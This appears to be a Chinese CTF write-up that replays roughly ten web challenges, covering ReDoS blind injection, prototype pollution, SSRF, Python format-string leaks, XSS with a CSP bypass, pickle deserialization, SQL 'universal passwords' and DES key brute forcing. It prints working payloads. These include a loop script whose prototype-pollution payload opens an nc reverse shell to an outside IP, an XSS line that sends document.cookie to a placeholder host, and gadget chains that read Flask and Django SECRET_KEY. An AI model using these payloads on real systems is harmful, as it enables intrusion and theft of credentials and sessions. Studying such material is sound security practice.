Guessgame
这道题目当时没做出来,后来复现的时候,发现挺有意思的,题目中主要有三个考点
- JS的大小写特征
- 原型链污染
- redos盲注
这儿主要着重介绍一下第三个考点
JS的 exec test RegExp match replace spite
可以造成redos盲注
/([a-z]+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaa!');
/Runoob/g.test(str)
str.split(/\s+/)
str.replace(/Microsoft/g, "W3School")
'secretmessage'.match('sa(((((.+)+)+)+)+)!');
payload:
import requests, sys
from time import time
prefix = ''
depth = 2
if len(sys.argv) >= 3:
depth = int(sys.argv[2])
prefix = sys.argv[1]
elif len(sys.argv) >= 2:
depth = int(sys.argv[1])
suffix = '(' * depth + '.' + '*)' * depth + '*xxxxxx$'
r = []
for c in '_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-':
begin = time()
requests.get('http://localhost', params = {
'answer': '^(?=' + prefix + c +')' + suffix
});
#print '(^?=' + prefix + c +')' + suffix
r.append([c, time() - begin])
r = sorted(r, key = lambda x: x[1])
for d in r[::-1][:3]:
print('[*] {} : {}'.format(d[0], d[1]))
还看了VN的脚本,可以直接RCE
import requests
theips = ["http://121.37.179.47:8081/","http://121.37.167.12:80","http://121.37.167.12:81","http://121.37.167.12:82"]
proxies={"http":"http://localhost:4476"}
while 1:
for i in theips:
try:
requests.post(i,json={"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 106.14.15.50 1234 > /tmp/fa ');var __tmp2"}}},timeout=1,proxies=proxies)
requests.get(i,timeout=1,proxies=proxies)
except:
pass
easy_trick_gzmtu
这道题目比赛的时候也没有做出来,只怪当时目光太狭隘了
当时题目是有明显的提示的
?time=Y 或者 Y=2020
这个很明显就是经过date()
函数处理的,只是当时没看出来
只要在所有字符前面加反斜杠就不会当作日期的特殊字符处理
其实这道题也可以fuzz
出来一些规律
比如 |x| 1=1-- -
x代表fuzz的字符,这样可以fuzz出被替换为空的字符
根据这种方法也可以发现出一些规律~~
注入后就可以访问后台了,然后登录即可
接下来就是一些常规操作
首先是 file://
读取文件,可以在前面加一个localhost
,这样$parts['host']='localhost'
成立
file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
然后还有个一点就是参数取反绕过字母与数字
webct
部分源码
<?php
error_reporting(0);
class Db
{
public $ip;
public $user;
public $password;
public $option;
function __construct($ip,$user,$password,$option)
{
$this->user=$user;
$this->ip=$ip;
$this->password=$password;
$this->option=$option;
}
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕,数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
}
class File
{
public $uploadfile;
function __construct($filename)
{
$this->uploadfile=$filename;
}
function xs()
{
echo '请求结束';
}
}
class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " .$this->file->uploadfile["error"] . "<br>";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
echo "上传成功"."<br>";
}
}
else{
echo "不被允许的文件类型"."<br>";
}
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."<br>";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}
这儿有一个表单,会让我们填一个数据的配置数据,然后发送select 1
像这种链接外网的数据库,一下就能想到伪造mysql服务端,读取任意的文件
这儿$option
填8就可以了,然后mysql的load_local_file
也可以触发phar://
反序列化
这样就能getshell
了
fmkq
这个题主要考察ssrf和格式化字符串漏洞
源码
<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';
$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}
这儿简单介绍一下
$funcname = $head.'curl_init'; # 命令空间\绕过
echo sprintf($begin.'%d',$output); #格式化字符串 %s%
然后内网扫描 得到8080端口是打开的
payload
/?url=http://localhost:8080/read/file=/etc/passwd&vipcode=0&head=\&begin=%s%
是如果file参数传入{file}时会被解析成error,尝试{file.__class__}
之后确定后端为python且存在格式化字符串漏洞
payload
/?url=http://localhost:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode={file}&head=\&begin=%s%
得到vipcode的值
'vipcode': 'uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL
然后读取源码
/app/base/readfile.py
from .vip import vip
import re
import os
class File:
def __init__(self,file):
self.file = file
def __str__(self):
return self.file
def GetName(self):
return self.file
class readfile():
def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"
def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])
if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()
def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True
def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False
def GetFileName(self):
return self.file.GetName()
current_folder_file = []
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
/app/base/vip.py
import random
import string
vipcode = ''
class vip:
def __init__(self):
global vipcode
if vipcode == '':
vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode
else:
self.truevipcode = vipcode
def GetCode(self):
return self.truevipcode
/app/app.py
import web
from urllib.parse import unquote
from base.readfile import *
urls = (
'/', 'help',
'/read/(.*)','read'
)
web.config.debug = False
class help:
def GET(self):
help_information = '''
Welcome to our FMKQ api, you could use the help information below
To read file:
/read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
'''
return help_information
class read:
def GET(self,text):
file2read = readfile(text)
if file2read.test() == False:
return "error"
else:
if file2read.isvip() == False:
return ("The content of "+ file2read.GetFileName() +" is {file}").format(file=file2read)
else:
vipfile2read = vipreadfile(file2read)
return (str(vipfile2read))
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()
最终payload
发现vipfile
和file
一样存在格式化字符串漏洞,想到构造一个f绕过对fl4g的过滤,
/?url=http://localhost:8080/read/file={vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL&head=\&begin=%s%
不知道为什么,我本地复现的时候我只写{vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}
的时候,没有解析?
然后我在后面加了几个字符串,又解析了
最近在复现百越杯的时候,不知道是不是环境的原因,一直没有成功
这儿简单记录一下
flask想要得到SECRET_KEY
,可以通过SQLAlchemy
中的cureent_app
payload:
{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
Django
经过翻找,我发现Django自带的应用“admin”(也就是Django自带的后台)的models.py中导入了当前网站的配置文件:
payload:
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
Dooog
这个题说难也不难,说简单也不简单,主要还是要有一种大局的意识
题目主要分为三层
命令执行是在第二层
很明显,只要前后时间大于60秒,就能不进入命令判断,从而绕过命令执行的限制~~
所以我们直接在前面加一个time.sleep()
函数,然后运行一下client中的app.py,就能反弹shell了
直接用python反弹shell
PHP-UAF
玄学题,很明显的bypass disable_function
我找的是github上的php7版本的脚本
但是直接访问脚本没有显示,必须包含进来~~
不知道为啥~~
happyvacation
当时比赛的时候,看见源码一大堆就不想做了,做其他题去了,因为有源码,所以就留到现在复现一下tcl~~
首先说一下非预期(出题人在测试过程中遇见的,这儿描述一下)~~
非预期
用户名无过滤XSS
刚开始的时候,出题人没有过滤用户名,而且直接从数据库拉出用户名在页面中,所以这儿可以直接打cookie
正则未过滤分号反引号 EVAL RCE
这儿可以直接执行命令,当时没有过滤单引号(反引号实际上是引用shell_exec)
CHECK.PHP构造RCE获取COOKIE地址
开始 check.php 没关回显,代码的逻辑是这样:
<<?php
if(isset($_GET['id'])){
putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
$cmd = "python3 /bot.py {$_GET['id']} {$_SERVER['HTTP_HOST']}";
exec($cmd);
}
?>
而且参数id我们可控,这样就能传入一个url,将第二个参数挤出去~~
解决方案,将可控参数放在最后
文件名后缀构造ONERROR XSS
文件上传处虽然文件名被 md5 混淆,但是后缀并没有被转换,上传的文件最后会拼接成:
<img src = "/var/www/html/upload/md5.jpg" width="200px" />
可以在后缀名动手脚,上传任意文件,后缀为:
1.a"οnerrοr=alert(1);a="
之后会被拼接成:
<img src = "/var/www/html/upload/1.a"onerror=alert(1);a="" width="200px" />
从而成功弹窗。
修复方案:过滤掉引号转义符和&等编码符号。
##### EVAL过滤不严格导致RCE eval 处可以用短标签 `<?=?>` 形式注入代码,从而导致 RCE。
修复方案:eval之前加个白名单,只允许部分字符。
BLACK_LIST 置为 FALSE 导致任意文件上传
我们注意到这儿使用了clone
,虽然这是一种浅复制,但是本身对象的子对象是复制
打个比方,$a = clone $b;
更改$a的属性不会影响$b的属性,但是$b有一个引入了另一个类,
此时更改$a引入的类同样会影响$b引入的类
访问 quiz.php?answer=user->uploader->black_list
会导致将文件后缀名的黑名单情况, 可以直接传马
预期解
首先题目中有一个csp
<meta http-equiv="Content-Security-Policy" content="style-src 'self'; script-src 'unsafe-inline' http://<?=$_SERVER['HTTP_HOST']?>/; object-src 'none'; frame-src 'self'">
这儿感觉就是xss打cookie了~~~
我们首先跟进一下源代码,清除一下执行流程~~
- 首先执行点在User类中
- 输入点
这儿使用了addslashes,所以我们没法闭合var a = '{$this->info->message}';
,所以我们要想办法使得网站编码为GBK,相当于SQL注入中的宽字节逃逸~~,接下来我们就看一下哪儿可以控制header~~
- 寻找可控header
这儿我们可以清楚地看见,这儿有一个可控的header()
我们找一下哪儿会执行go这个方法
在方法jump
中会执行go
方法,但是jump中的参数我们不可控
接着我们又看见了,类结束的时候会执行魔法函数
首先是$this->flag
是false
,我们要想办法让他变成true
在quiz.php
中,我们可控两个参数,而且referer
就是UrlHelper
类中的referer
,然后我们再传参answer
,这样就能使得UrlHelper
类中的location
与referer
相等,而且也会使得$this->flag
变为true
$dest = $this->pre . $this->location . $this->after;
header($dest);
这样我们就能完全控制location
首先$this->pre
被写死了,但是我们可以通过前面说的clone
来使其变为false
最终的步骤如下
- 上传wave文件绕过csp
aaaaaaaaaaaaaaa/*bbbbbbbbbbbbbbbbbbb*/='test';window.open('http://xxx.xxx.xxx.xxx/?'+document.cookie);
- 将页面设置为GBK
http://159.138.4.209:1002/quiz.php?answer=user->url->pre
http://159.138.4.209:1002/quiz.php?referer=Content-Type: text/html; charset=GBK;//
http://159.138.4.209:1002/quiz.php?answer=111
访问最后一个页面是触发go
方法
- 留言注入xss
%aa%27; var y=document.createElement(String.fromCharCode(115,99,114,105,112,116));y.src=String.fromCharCode(117,112,108,111,97,100,47,55,55,55,100,50,50,49,48,49,101,98,52,100,97,56,57,48,56,52,57,97,53,101,53,100,57,97,101,54,48,100,98,46,119,97,118,101);document.body.appendChild(y);//
由于不能使用单引号和双引号,所以后面的内容我们使用String.fromCharCode
绕过
这儿xss的内容相当于 <script src=’1.wave’>
,所以我们需要知道上传wave文件的路径
发现不止 wave 文件可以绕过,除了媒体流文件(mp3、mp4、wav 等后缀)均可以绕过 CSP(甚至 xxx 后缀也可)(image师傅)
- 提交MD5
sqlcheckin
源代码
<?php
$pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8;', 'root', '123456');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT name from flag where name='${_POST['username']}' and passwd='${_POST['password']}'");
$stmt->execute();
$stmt->debugDumpParams();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['name'] == 'admin') {
include('flag.php');
exit();}}
这儿采用了PDO的模式,但是他是直接把我们的可控参数拼接到查询语句中,相当于没有使用PDO,不能防止注入,这儿过滤了很多东西,主要考察的是万能密码
'-0-'
1'-'1
'&'1
这三个万能密码都可以得到flag,这儿主要考察的是sql的弱比较
假如上面三个万能密码都能使得passwd=0
,注意这儿的0是数字类型的,只要数据库的密码是以字母开头或者以0开头的都能匹配上~~
webtmp
过滤了R
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
一开始考虑RCE
b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameq\x03X\x14\x00\x00\x00\xe4\xb8\x80\xe7\xbb\x99\xe6\x88\x91\xe5\x93\xa9giaogiaoq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00Giaoq\x06ub.'
提示global XX,应该是因为raise pickle.UnpicklingError(“global ‘%s.%s’ is forbidden” % (module, name)),后来考虑改写secret对象
secret.py
secret = {'name':'xx','category':'yy'}
exp.py
import pickle
import pickletools
import secret
class Animal:
def __init__(self):
self.name = 'aa'
self.category = 'bb'
s = b'\x80\x03c__main__\nsecret\n}(Vname\nVaa\nVcategory\nVbb\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00aaX\x08\x00\x00\x00categoryX\x02\x00\x00\x00bbub.'
l = pickle.loads(s)
pickletools.dis(s)
这儿大致解释一下意思
首先是使用build指令来修改原文类属性值,然后通过0指令置空,然后再引入写入一个新的student对象,而且对象的值与我们修改的值一样,这样就能是判断相等,拿到flag了~~
NothardWeb
源码
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "********";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}
这儿我们需要找到两个值$_SESSION['key']
和$_SESSION['iv']
DES-CBC与AES-CBC不同,DES是采用8位为一个加密快
非预期
首先是$_SESSION是根据我们的cookie来保存的,假如我们删除了cookie
,就能使得key和iv置空
,即都变为''
这样就能轻易得到hash
值
预期解
解法一
随机数可以爆破出来,浏览题目,初步分析此处为 mt_rand 特性,第一次访问时可以拿到 第一次,第 227,228 次生成的随机数,爆破随机数种子之后可以得到 第 229 个随机数,得到密钥。
解法二
这个随机数当然也可以不爆破
由于随机数异或了0x5f5e0ff
换成二进制:0x5f5e0ff = 0b101111101011110000011111111
(共有19个1),即54W种情况
爆破key
<?php
$cccc="%d0%d%d%d%d%d0%d0%d%d%d%d00000%d%d%d%d%d%d%d%d";
for ($a=0; $a < 2; $a++) {
for ($b=0; $b < 2; $b++) {
for ($c=0; $c < 2; $c++) {
for ($d=0; $d < 2; $d++) {
for ($e=0; $e < 2; $e++) {
for ($f=0; $f < 2; $f++) {
for ($g=0; $g < 2; $g++) {
for ($h=0; $h < 2; $h++) {
for ($i=0; $i < 2; $i++) {
for ($j=0; $j < 2; $j++) {
for ($k=0; $k < 2; $k++) {
for ($l=0; $l < 2; $l++) {
for ($m=0; $m < 2; $m++) {
for ($n=0; $n < 2; $n++) {
for ($o=0; $o < 2; $o++) {
for ($p=0; $p < 2; $p++) {
for ($q=0; $q < 2; $q++) {
for ($r=0; $r < 2; $r++) {
for ($s=0; $s < 2; $s++) {
$f_key=sprintf($cccc,$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k,$l,$m,$n,$o,$p,$q,$r,$s);
$key=base_convert($f_key,2,10);
$result=decode_aes($key);
if(stripos($result,"guest")){
echo $result;
echo $key."\n";
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
function decode_aes($key){
$ch=base64_decode("NGtWc0JCQ080dkNxcnhtVjVOSG1rQ3hWckRab3pjWkllTmdJMmovclR4YktzNk9FTERBSnYxSUNKVmQ4Qk55Qg==");
$de = openssl_decrypt($ch,"des-cbc",$key,0,"abcdabcd");
return $de;
}
?>
因为假如我们的key正确的话,就能还原出明文,虽然我们不知道iv,但是不影响后面的还原,仍然可以还原出来,不过第一块是乱码而已
然后就是还原出iv
了
<?php
$key = '12345678';
$cipher = base64_decode('cTFxWWdXd3UwOHMzeTFjYmRlWGdENDhQZHVTcjhYbUphL0U0RlJrTE1YR2N3Qi9oRGNFZ28zSmVFSTZjaS9hMg=='); #密文
$plain = 'O:4:"User":1:{s:8:"username";s:5:"guest";}'; #明文
$iv = substr(openssl_decrypt($cipher, "des-cbc", $key, 0, substr($plain, 0, 8)),0,8);
echo $iv;
# 我们得到密文和原文,就能还原出iv
接下来的就很简单了~~,这儿就不做过多阐述~~